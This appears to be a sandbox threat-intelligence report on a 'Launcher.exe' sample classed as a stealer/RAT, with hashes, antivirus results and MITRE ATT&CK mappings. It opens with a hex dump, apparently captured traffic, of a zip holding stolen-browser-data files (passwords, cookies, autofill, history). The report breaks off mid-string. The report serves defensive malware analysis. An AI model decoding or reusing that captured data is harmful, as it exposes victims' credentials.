:08:ea:49:e2:13:cb:76:5d:87:41:0b:00:20:a8:23:1d:ef:a9:46:6e:02:9d:35:6a:11:d6:a2:48:6b:fc:13:50:4b:03:04:14:00:00:00:08:00:00:7a:31:5b:96:30:f8:88:04:00:00:00:02:00:00:00:13:00:00:00:47:65:74:41:6c:6c:50:61:73:73:77:6f:72:64:73:2e:74:78:74:fb:ff:0f:00:50:4b:03:04:14:00:00:00:08:00:60:78:31:5b:5f:8d:db:e9:b1:05:00:00:a0:30:00:00:1d:00:00:00:47:65:74:41:6c:74:65:72:6e:61:74:69:76:65:45:64:67:65:43:6f:6f:6b:69:65:73:2e:74:78:74:ed:9a:5b:53:e2:48:14:c7:fb:79:ab:f6:3b:f8:b2:be:31:43:12:72:c1:2a:1e:20:01:71:66:f1:06:3a:ab:2f:53:78:19:dd:1d:40:17:70:9d:b1:fc:ec:bb:fb:3b:27:71:34:82:ac:b1:90:c2:85:ea:4a:a7:d3:7d:ce:3f:7d:fb:9f:ee:3e:c9:3f:7f:97:cc:eb:87:9f:cd:4f:a6:61:2e:cc:89:f9:dd:7c:e1:3a:25:b5:62:5a:a4:ba:a4:57:7e:84:35:2e:d7:bc:37:76:12:e7:b9:1c:f2:1c:4a:e4:69:cd:14:8c:c7:73:19:34:c1:ac:9a:6f:e6:12:94:be:a2:8c:e2:3d:85:e9:3e:c2:f4:1f:60:d6:a9:e7:c0:0c:c9:d9:34:ed:31:78:77:98:d7:1a:de:21:31:30:3d:ee:c7:e8:75:15:61:1b:bd:a1:39:1f:a3:97:46:78:af:d2:4f:bf:25:2d:3d:a0:a5:43:24:db:b4:f6:2b:f2:43:d5:de:e7:b9:63:ae:26:ea:8b:f6:29:75:cc:99:3d:d3:34:b7:84:33:73:44:1c:e7:5d:81:3c:9a:be:4d:64:77:79:fa:42:df:94:b8:2a:da:fb:35:7a:cd:22:d4:4c:44:1f:46:e4:d5:4c:48:5e:60:8a:84:10:b9:10:c9:2a:57:44:5a:64:cb:c8:04:f4:50:8c:15:82:75:37:b2:39:ee:2e:b1:8c:48:0b:c9:7c:6a:9c:0f:b5:85:4d:b4:8e:a9:59:7f:42:1b:d7:74:b4:2e:92:f1:6b:11:b6:c9:d9:a2:1d:1d:f3:fd:3f:e5:ef:c6:fb:79:f2:a1:d6:44:46:38:9e:c5:1b:68:8d:93:97:7a:f7:cd:5f:1a:c7:73:b5:87:4e:5f:f1:37:e8:9b:a7:da:61:a9:74:8b:37:1c:51:9b:d3:09:f3:50:a4:43:6a:75:c1:7c:10:4e:dd:bf:41:78:f1:99:fe:b5:15:6b:56:0c:9f:e5:bb:fe:6f:d6:64:56:56:44:58:bd:6b:7e:65:ae:87:99:ec:47:16:26:1e:50:3e:c8:c4:c5:87:1a:f3:c5:46:7b:c9:c6:29:b2:31:60:b6:5a:29:2e:16:95:31:16:71:9e:78:85:b9:92:8d:8b:c1:23:2e:16:26:60:ce:eb:ca:de:80:95:32:07:2b:99:18:69:a9:86:ad:ed:2e:e8:8a:1b:91:e7:63:d1:2a:f4:80:43:28:93:57:d3:94:4b:7e:95:d9:59:d3:72:59:8f:ed:57:5d:5b:e7:97:cf:ce:92:cf:53:e4:73:51:79:97:66:74:a0:bc:f3:35:0e:4c:f6:d5:55:76:81:62:25:d2:9c:7e:0a:f5:b9:9c:6e:23:35:d0:5d:f3:60:c9:ec:31:bc:7b:fb:cc:76:97:cc:9e:22:b3:6d:66:ba:9f:62:a0:4d:be:a5:6b:ab:ad:0c:cc:ba:52:a7:11:bd:09:88:cf:e5:f4:11:ef:ea:71:96:7d:7d:1e:cb:9e:39:a4:5e:51:26:1e:97:61:65:89:77:6c:71:df:02:a1:f1:ca:bb:e8:79:3d:d1:16:a6:c8:cc:25:2f:97:bc:1c:e5:65:bc:ca:66:e1:e6:be:11:2f:d4:aa:59:4f:74:4b:b4:be:ac:6b:69:4d:fd:56:e2:bf:0a:e9:05:e9:63:59:73:f3:c4:65:ee:85:c4:f3:55:d0:1e:8a:d0:08:d4:fb:e5:80:75:42:9d:7b:b4:f9:9c:b6:97:12:3f:ce:e2:b1:7d:9a:27:e6:45:67:7b:01:3e:04:29:b6:bb:ca:4a:4b:63:d9:6d:67:dd:5d:a7:11:bd:09:88:f3:c7:f6:97:fa:ae:ea:e8:09:1f:57:e9:a5:58:bb:c4:bd:4c:2f:95:94:dd:ef:d4:83:e0:d1:2f:96:32:3d:66:bc:45:4e:81:27:cf:dc:aa:d6:26:d2:39:b5:08:0e:1a:96:5a:84:80:52:47:ad:a4:a5:18:b7:2a:25:f5:ea:69:6f:5c:25:fc:f9:85:d2:50:e3:3c:76:a5:4f:8f:0d:b9:06:f4:50:9c:27:2c:90:96:74:b5:37:db:e0:48:4d:5b:5a:eb:db:85:f5:bd:05:4b:4b:32:55:4b:62:69:7c:ef:b3:b6:12:d6:17:f4:54:fd:12:4f:f8:63:54:6f:22:ea:fc:59:14:99:33:7d:70:85:af:6d:ea:79:49:c8:be:97:b0:c0:11:5b:e0:a8:d7:42:76:10:62:17:22:fd:12:20:27:f6:1a:79:be:9e:cd:e3:9d:85:af:16:c6:d3:f3:81:58:98:c5:dc:27:14:97:ec:7e:63:ec:f6:27:a2:ce:1f:bb:ef:4f:07:92:ca:c2:e8:08:8e:54:4c:e9:c7:be:2b:af:29:9f:1d:44:94:ec:25:16:93:b3:d3:f4:b1:2d:39:3b:99:b3:96:e6:4c:7b:45:b6:5e:c4:d9:21:72:39:da:72:01:6b:2f:68:99:b4:ed:18:e9:59:ac:d0:1d:ed:47:99:3d:1b:d4:20:ab:ff:4d:3c:e3:65:82:a7:df:02:c3:64:57:5f:21:b8:ac:d2:65:56:21:5b:4f:f5:ae:ae:d8:8e:ae:d5:9e:fa:01:fc:05:e5:b8:37:c5:6f:64:4b:3f:ba:9f:fa:e2:2d:8c:76:4d:fc:8f:48:fc:3d:2b:3b:c3:63:5f:9d:37:72:86:1f:87:39:bf:6b:72:1d:fc:f5:17:ac:cc:77:fa:72:7e:df:04:a1:a4:b6:61:95:1c:f1:e8:c9:57:32:57:4f:f1:7e:b2:6a:c7:6b:f6:36:5a:b1:07:60:43:75:64:b7:2e:bb:97:a2:da:03:f9:a7:2d:8f:4e:15:1d:47:ff:6f:2b:92:96:f3:bd:ab:df:d6:3c:c5:94:d1:ab:e9:3f:70:b6:62:36:c0:11:af:5f:68:3e:69:4a:f6:fc:ab:5a:b7:92:7a:11:02:7d:77:f3:51:79:73:44:a2:42:dd:44:a2:41:1c:3f:d5:f5:a9:c5:d3:1e:b1:78:2b:72:fa:d6:7c:d2:ce:2a:39:21:33:2f:32:1f:c0:58:67:94:f6:e8:b9:13:73:c8:e8:35:19:49:4b:79:d8:a5:2c:00:f3:da:ec:98:8f:c8:88:46:81:d4:26:d8:27:ea:b1:90:93:4a:11:9d:0e:73:ae:6b:fe:34:bf:81:b3:ab:bd:d5:43:b2:cd:9b:be:92:fe:4c:ce:37:9e:f6:b8:2c:74:3b:e6:86:99:d2:a5:cc:36:7f:60:b3:f6:69:c5:77:fa:f5:8c:f7:4b:8d:ea:60:9e:53:9f:1b:24:3b:a4:5a:48:1e:23:d9:a2:f4:14:b4:03:30:eb:b4:68:0b:bc:1d:72:f6:a9:61:1f:ed:1d:66:6a:80:fe:21:e5:db:b4:23:50:99:01:39:3d:6a:75:c9:88:1f:70:df:67:14:f6:68:e3:16:ef:14:3b:7e:a0:ab:d1:39:f8:e2:af:3d:43:aa:42:9b:0f:d5:da:7f:d4:d2:0e:b5:af:a0:e1:a3:db:a5:e4:86:d6:5f:83:dd:24:48:5d:72:c8:89:ff:6b:40:e9:90:59:f5:09:d9:0f:6f:dc:f6:3f:5c:35:b3:d9:fe:e5:fe:6e:5a:96:bf:a8:96:df:4f:d9:7e:f9:b2:e2:e8:97:15:57:7d:ad:59:bf:d5:dc:fd:1b:61:8f:7c:af:19:87:9a:f5:7f:a7:d9:ad:02:2f:fb:2f:42:bc:29:3e:5a:91:ee:68:ab:b4:35:24:c4:de:94:48:7d:30:2e:fc:75:f5:ff:88:9a:96:57:35:4f:be:d7:d8:89:4f:67:7e:fe:8b:b8:d7:78:4b:7f:14:cf:9a:d5:ff:02:50:4b:03:04:14:00:00:00:08:00:a2:79:31:5b:96:30:f8:88:04:00:00:00:02:00:00:00:0f:00:00:00:47:65:74:41:75:74:6f:66:69:6c:6c:2e:74:78:74:fb:ff:0f:00:50:4b:03:04:14:00:00:00:08:00:41:79:31:5b:e4:33:36:26:f9:02:00:00:88:18:00:00:10:00:00:00:47:65:74:42:6f:6f:6b:6d:61:72:6b:73:2e:74:78:74:ed:97:ed:6f:d2:50:14:c6:cf:67:13:ff:07:3e:f9:0d:18:5b:d0:41:42:cc:60:ba:61:d8:5c:a6:73:c6:90:18:18:2f:76:94:17:69:19:73:7f:bc:fa:3b:87:ca:a0:75:ac:98:6c:51:6c:9a:96:de:f6:9c:e7:9c:7b:cf:d3:87:7b:7e:7c:2f:c9:c3:1f:4f:e5:89:bc:17:47:7c:71:a5:2d:a9:3b:8f:22:e7:9e:34:65:28:13:6c:53:72:26:9e:f9:9e:c9:a9:d4:56:f8:fd:f2:fd:82:97:2f:23:bc:8a:92:e5:98:da:91:91:3e:88:37:c4:77:39:1a:8c:87:32:96:2e:ef:1b:f3:58:59:8b:f3:9a:91:2b:2d:72:1c:83:76:cc:fb:7e:24:5f:8d:73:b4:84:97:c2:cf:c1:a3:2d:1d:9e:5f:ff:06:e9:04:2b:9f:ec:a2:48:8a:3f:20:83:7a:0c:cc:13:ee:3c:5b:45:87:bb:c1:9d:ab:b0:63:d6:15:f3:d6:b8:6d:f2:48:d9:fa:87:67:a3:d6:79:e6:be:1d:5c:b7:38:77:0c:a1:28:39:79:6e:d7:9c:d5:e4:c8:30:35:c7:16:38:1d:ce:bb:50:d7:c5:ac:ca:fe:3d:95:9d:61:aa:97:da:1f:b0:5a:8e:c5:5e:6d:ef:c1:99:bc:9c:cb:5b:49:93:75:9a:71:0e:af:0f:86:71:4e:c6:4d:6c:ca:ac:d1:10:86:78:41:9d:c2:18:d1:1a:94:b9:1b:4a:8f:39:37:78:d3:c3:73:66:b5:c8:6b:f5:ac:70:ad:1b:7f:15:d9:e3:fe:90:19:9f:f0:a4:4c:f4:77:8c:f7:e0:e9:88:b9:6b:85:1a:8c:4f:c1:55:be:39:54:b6:1b:e1:43:3d:94:4b:1d:2c:cd:bd:13:c4:d6:08:79:9e:df:b0:c2:13:ec:0b:cc:36:63:fc:eb:30:9a:60:e3:b3:06:ea:ef:1a:2b:34:af:3a:f1:15:fb:c2:fc:33:9c:5f:19:3b:c6:18:9d:eb:63:29:c3:63:c6:8a:ab:42:15:d6:cc:c3:72:68:15:b9:31:fb:28:1b:fe:54:97:3c:d0:b5:fa:aa:43:fe:0a:7d:ea:c1:d2:2c:f5:09:e7:92:b6:ba:df:e6:92:c6:46:15:c1:37:4e:b8:58:a7:f1:9c:58:54:7d:ae:e3:06:bf:2d:7e:7d:63:b0:cb:fb:86:31:f3:a5:d9:f5:e5:33:f7:aa:85:63:e3:43:29:12:a1:b9:f4:ad:3c:9b:7b:f5:4d:09:1c:c6:7d:bc:c2:8c:6b:46:be:97:5b:cf:0b:e3:fb:88:ab:c3:6c:07:78:47:67:ba:39:aa:9c:db:48:55:2e:ac:a5:c9:7b:f2:c9:34:66:28:97:d4:fa:58:be:c9:2e:f1:3e:26:9a:9c:68:72:0c:4d:3e:c0:42:77:85:87:b6:62:a3:47:51:e0:91:55:b4:85:f5:05:76:1e:4f:3a:f7:a8:ca:bf:aa:4f:5b:1b:a9:4f:bb:6b:e9:53:9e:78:35:34:aa:c0:57:e7:71:dd:47:15:a6:41:0f:92:e8:53:a2:4f:f1:f4:a9:4a:35:ae:ec:4b:be:32:be:3f:64:07:7b:bb:ef:73:82:1d:5f:7b:a3:7a:d9:ed:8d:54:a5:5c:a0:b6:71:75:a9:0c:07:2a:a0:57:e5:95:bc:40:9f:5c:f6:4c:97:c4:4f:74:29:d1:a5:b8:ba:e4:07:d5:48:51:31:df:2a:ee:3f:b8:3a:2d:ef:95:b2:0b:bd:e6:72:d7:18:ee:35:5b:56:c5:9e:75:82:a3:85:8e:71:b9:43:8d:f6:96:e1:ee:76:55:af:39:00:63:8a:c7:64:ce:eb:45:eb:99:aa:b6:ed:5a:c2:aa:6b:5d:8b:a2:ba:6b:a9:eb:72:3e:eb:a8:69:d4:f3:ff:de:c9:e5:82:ff:82:b8:9a:59:05:bf:29:6f:a8:f1:04:05:c9:c3:ef:9a:69:56:a2:99:7f:a3:66:fe:04:50:4b:03:04:14:00:00:00:08:00:02:79:31:5b:7e:30:d3:9b:89:01:00:00:f6:08:00:00:15:00:00:00:47:65:74:42:72:6f:77:73:65:72:48:69:73:74:6f:72:79:2e:74:78:74:ed:94:cb:4e:c2:50:10:86:67:6d:e2:3b:f0:02:8a:c5:18:90:c4:85:80:06:13:48:08:0a:6c:d8:60:5b:2f:b1:50:d2:d6:0b:2f:af:7e:33:14:13:4b:91:98:28:6c:c8:49:4f:e6:cc:f9:67:ce:3f:97:ce:c7:fb:99:fc:ff:da:97:3d:e9:49:57:5a:52:f8:71:55:f9:c6:12:cb:81:dc:cb:08:e9:51:26:48:a1:bc:88:2f:91:04:e8:66:60:8a:b6:d4:e7:0d:88:04:bd:bf:c6:a7:62:fb:60:63:c3:17:cc:6e:9c:63:a5:d8:53:7c:3b:52:66:2f:c9:11:df:09:ba:32:37:0e:37:55:34:15:ce:e7:d2:5e:f2:59:87:e7:33:7c:93:1c:9f:4e:06:ed:8b:87:f6:92:98:42:78:ac:67:3b:93:e9:0a:b6:59:6c:03:0e:11:79:4a:38:87:b0:c9:62:07:f8:b9:45:ae:d9:db:af:d8:69:66:97:fd:5e:59:24:7a:37:61:57:cf:17:f2:06:8b:00:ab:28:b5:71:c8:86:e6:ca:41:2e:1a:c2:a3:5a:7e:5a:ed:85:e7:8e:bd:74:07:9f:6c:9d:f4:9d:26:b9:ec:80:ae:c1:ec:da:2c:b3:cc:f2:ec:17:d1:2c:7"; File: "PCAP")71:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmZmZmRAAAAAAAAAAARszMzMzMzMxkAAAAAAAABMzMzMzMzMzMzEAAAAAAAAzMzMzMzMzMzMxgAAAAAABMzMZGzMzGBMzMxAAAAAAAbMzGBszMxADMzMYAAAAAAMzGQABGzMxEzMzMAAAAAADMxkAARszMzETMzAAAAAAAbMzGBszMzMYAbMwAAAAAAEzMxkbMzMzMAGzEAAAAAAAMzMzMzMzMzMzMYAAAAAAABMzMzMzMzMzMzEAAAAAAAABGzMzMzMzMzGQAAAAAAAAAAERmZmZmZkQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==72:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmZmZmRAAAAAAAAAAARszMzMzMzMxkAAAAAAAABMzMzMzMzMzMzEAAAAAAAAzMzMzMzMzMzMxgAAAAAABMzMZGzMzGBMzMxAAAAAAAbMzGBszMxADMzMYAAAAAAMzGQABGzMxEzMzMAAAAAADMxkAARszMzETMzAAAAAAAbMzGBszMzMYAbMwAAAAAAEzMxkbMzMzMAGzEAAAAAAAMzMzMzMzMzMzMYAAAAAAABMzMzMzMzMzMzEAAAAAAAABGzMzMzMzMzGQAAAAAAAAAAERmZmZmZkQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"53ab4a93b93223968cf2e71ea8070ba2d7e1a9010d21d41e25100e2b6ab516d9","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791843655855,"unified_at":"2026-10-12T22:20:55.855Z","metadata":{"hashes":{"sha256":"53ab4a93b93223968cf2e71ea8070ba2d7e1a9010d21d41e25100e2b6ab516d9","sha1":"845b9220d3cebd020193bf6328f51076c9aebcbd","md5":"5a766fb66446e2c4d436167ef0944eb1","sha512":"9ab91253ac1a16eb50f097a37e16301252e58f53b060720f53cfed1f9c928af021c65e6b3fa783fbb1776ec7075575a97ab8a4ac213ad351f1410d1b33a49eed","ssdeep":"196608:uWAeGDVKsgnMV7sZlqrdXUVp5eTM0mnTU3Xp:uW6D8tMV7sZcZXUofmnTw5","ssdeep_chunks":["196608:uWAeGDV","196608:WAeGDVK","196608:AeGDVKs","196608:eGDVKsg","196608:GDVKsgn","196608:DVKsgnM","196608:VKsgnMV","196608:KsgnMV7","196608:sgnMV7s","196608:gnMV7sZ","196608:nMV7sZl","196608:MV7sZlq","196608:V7sZlqr","196608:7sZlqrd","196608:sZlqrdX","196608:ZlqrdXU","196608:lqrdXUV","196608:qrdXUVp","196608:rdXUVp5","196608:dXUVp5e","196608:XUVp5eT","196608:UVp5eTM","196608:Vp5eTM0","196608:p5eTM0m","196608:5eTM0mn","196608:eTM0mnT","196608:TM0mnTU","196608:M0mnTU3","196608:0mnTU3X","196608:mnTU3Xp","393216:uWAeGDV","393216:WAeGDVK","393216:AeGDVKs","393216:eGDVKsg","393216:GDVKsgn","393216:DVKsgnM","393216:VKsgnMV","393216:KsgnMV7","393216:sgnMV7s","393216:gnMV7sZ","393216:nMV7sZl","393216:MV7sZlq","393216:V7sZlqr","393216:7sZlqrd","393216:sZlqrdX","393216:ZlqrdXU","393216:lqrdXUV","393216:qrdXUVp","393216:rdXUVp5","393216:dXUVp5e","393216:XUVp5eT","393216:UVp5eTM","393216:Vp5eTM0","393216:p5eTM0m","393216:5eTM0mn","393216:eTM0mnT","393216:TM0mnTU","393216:M0mnTU3","393216:0mnTU3X","393216:mnTU3Xp","196608:uW6D8tM","196608:W6D8tMV","196608:6D8tMV7","196608:D8tMV7s","196608:8tMV7sZ","196608:tMV7sZc","196608:MV7sZcZ","196608:V7sZcZX","196608:7sZcZXU","196608:sZcZXUo","196608:ZcZXUof","196608:cZXUofm","196608:ZXUofmn","196608:XUofmnT","196608:UofmnTw","196608:ofmnTw5"],"imphash":"Unknown"},"file_info":{"file_name":"Launcher.exe","file_type":["compressed","7zip"],"file_type_id":"7zip nsis","file_size":8014963,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1758119986000,"last_seen":1771900757000,"last_multi_scan":1771900757000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["bladabindi","commodity","modular","rat","opensource","njrat","xworm","criminal","asyncrat","stealer","evasive","infostealer","ransomware"]},"stats":{"av":{"malicious_count":8,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":117},"sandbox_signatures":{"informative_count":306,"suspicious_count":19,"malicious_count":30,"total":355},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.AntiVm","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1349857","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_MSIL_AsyncRat_rfn","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"malicious","threat_name":"TrojanPSW.MSIL.Stealer.gen.pkii.arc","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.NSISDrp.ITP","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_55.5","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"TrojanPSW.MSIL.Stealer.gen.pkii","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"malicious","value":"Calls an API typically used to execute an application"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"malicious","value":"Contains native function calls"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Executes WMI queries"},{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"informative","value":"Found WMI keywords in script (string)"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API 